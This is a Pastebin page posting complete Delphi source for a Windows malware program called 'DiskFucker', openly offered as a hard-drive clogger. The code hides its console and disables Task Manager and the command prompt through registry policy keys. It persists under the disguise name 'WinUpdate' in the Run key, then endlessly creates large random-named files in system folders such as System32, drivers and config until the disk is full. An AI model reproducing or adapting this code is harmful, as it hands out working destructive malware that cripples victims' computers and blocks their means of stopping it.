FlyFar

DiskFucker - A Program that clogs your Hard Drive

Jul 27th, 2023
129
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Delphi 4.49 KB | Cybersecurity | 0 0
  1. program DiskFucker;
  2.  
  3. {$APPTYPE CONSOLE}
  4.  
  5. {$R *.res}
  6.  
  7. uses
  8.   System.SysUtils,
  9.   Windows,
  10.   ShellAPI,
  11.   Registry,
  12.   Math;
  13.  
  14. procedure LockerTask(disable: boolean);
  15. const
  16.   sKey = 'DisableTaskMgr';
  17. var
  18.   Reg : TRegistry;
  19. begin
  20.   Reg := TRegistry.Create;
  21.   try
  22.     Reg.RootKey := HKEY_CURRENT_USER;
  23.     if Reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Policies\System', True) then
  24.     begin
  25.       if Reg.ValueExists(sKey) then
  26.       begin
  27.       if disable = true then Reg.WriteInteger(sKey, 1);
  28.       if disable = false then Reg.WriteInteger(sKey, 0);
  29.       end
  30.       else
  31.       begin
  32.       if disable = true then Reg.WriteInteger(sKey, 1);
  33.       if disable = false then Reg.WriteInteger(sKey, 0);
  34.       end;
  35.       Reg.CloseKey;
  36.     end;
  37.   finally
  38.     Reg.Free;
  39.   end;
  40. end;
  41.  
  42. procedure CMDDisable(disable: boolean);
  43. const
  44.   sKey = 'DisableCMD';
  45. var
  46.   Reg : TRegistry;
  47. begin
  48.   Reg := TRegistry.Create;
  49.   try
  50.     Reg.RootKey := HKEY_CURRENT_USER;
  51.     if Reg.OpenKey('\Software\Policies\Microsoft\Windows\System', True) then
  52.     begin
  53.       if Reg.ValueExists(sKey) then
  54.       begin
  55.       if disable = true then Reg.WriteInteger(sKey, 1);
  56.       if disable = false then Reg.WriteInteger(sKey, 0);
  57.       end
  58.       else
  59.       begin
  60.       if disable = true then Reg.WriteInteger(sKey, 1);
  61.       if disable = false then Reg.WriteInteger(sKey, 0);
  62.       end;
  63.       Reg.CloseKey;
  64.     end;
  65.   finally
  66.     Reg.Free;
  67.   end;
  68. end;
  69.  
  70. procedure autorunon();
  71. var reg: tregistry;
  72. begin
  73. reg := tregistry.create;
  74. reg.rootkey := HKEY_CURRENT_USER;
  75. if reg.openkey('software\microsoft\windows\currentversion\run', false)then
  76. reg.writestring('WinUpdate',paramstr(0));
  77. reg.closekey;
  78. reg.free;
  79. end;
  80.  
  81. const
  82. paths: array of string = ['Windows\help\','Windows\Setup\','Windows\System32\','Windows\Resources\','Windows\rescache\','Windows\servicing\','Users\','Windows\System32\AppRaiser\','Windows\System32\config\','Windows\System32\drivers\','Windows\winsxs\'];
  83.  
  84. var
  85. Handle: THandle;
  86. rand: string;
  87. freespace: Real;
  88. currentdir: string;
  89. begin
  90. FreeConsole();
  91. Randomize;
  92. LockerTask(true);
  93. CMDDisable(true);
  94. autorunon();
  95. while true do
  96. begin
  97. freespace := DiskFree(3)/1024;
  98. currentdir := paths[Random(Length(paths))];
  99. Sleep(10);
  100. rand := IntToStr(RandomRange(1000000, 4751984549874156));
  101. if freespace >= 1048576 then
  102. begin
  103.  ShellExecute(Handle,'runas', 'fsutil.exe', PWideChar('file createnew C:\'+currentdir+rand+' 1073741824'), nil, SW_HIDE);
  104.  if (FileGetAttr('C:\'+currentdir+rand) and faHidden) > 0 then
  105.   FileSetAttr('C:\'+currentdir+rand, FileGetAttr('C:\'+currentdir+rand) xor faHidden);
  106. end
  107. else if freespace >= 51200 then
  108. begin
  109.  ShellExecute(Handle,'runas', 'fsutil.exe', PWideChar('file createnew C:\'+currentdir+rand+' 52428800'), nil, SW_HIDE);
  110.  if (FileGetAttr('C:\'+currentdir+rand) and faHidden) > 0 then
  111.   FileSetAttr('C:\'+currentdir+rand, FileGetAttr('C:\'+currentdir+rand) xor faHidden);
  112. end
  113. else if freespace <= 51200 then
  114. begin
  115.  ShellExecute(Handle,'runas', 'fsutil.exe', PWideChar('file createnew C:\'+currentdir+rand+' 1048576'), nil, SW_HIDE);
  116.  if (FileGetAttr('C:\'+currentdir+rand) and faHidden) > 0 then
  117.   FileSetAttr('C:\'+currentdir+rand, FileGetAttr('C:\'+currentdir+rand) xor faHidden);
  118. end
  119. else if freespace <= 1024 then
  120. begin
  121.  ShellExecute(Handle,'runas', 'fsutil.exe', PWideChar('file createnew C:\'+currentdir+rand+' 102400'), nil, SW_HIDE);
  122.  if (FileGetAttr('C:\'+currentdir+rand) and faHidden) > 0 then
  123.   FileSetAttr('C:\'+currentdir+rand, FileGetAttr('C:\'+currentdir+rand) xor faHidden);
  124. end
  125. else if freespace >= 100 then
  126. begin
  127.  ShellExecute(Handle,'runas', 'fsutil.exe', PWideChar('file createnew C:\'+currentdir+rand+' 10240'), nil, SW_HIDE);
  128.  if (FileGetAttr('C:\'+currentdir+rand) and faHidden) > 0 then
  129.   FileSetAttr('C:\'+currentdir+rand, FileGetAttr('C:\'+currentdir+rand) xor faHidden);
  130. end
  131. else if freespace <= 100 then
  132. begin
  133.  ShellExecute(Handle,'runas', 'fsutil.exe', PWideChar('file createnew C:\'+currentdir+rand+' 10240'), nil, SW_HIDE);
  134.  if (FileGetAttr('C:\'+currentdir+rand) and faHidden) > 0 then
  135.   FileSetAttr('C:\'+currentdir+rand, FileGetAttr('C:\'+currentdir+rand) xor faHidden);
  136. end
  137. else if freespace <= 10 then
  138. begin
  139.  ShellExecute(Handle,'runas', 'fsutil.exe', PWideChar('file createnew C:\'+currentdir+rand+' 1024'), nil, SW_HIDE);
  140.  if (FileGetAttr('C:\'+currentdir+rand) and faHidden) > 0 then
  141.   FileSetAttr('C:\'+currentdir+rand, FileGetAttr('C:\'+currentdir+rand) xor faHidden);
  142. end
  143. else if freespace <= 5 then;
  144. end;
  145. end.
Add Comment
Please, Sign In to add comment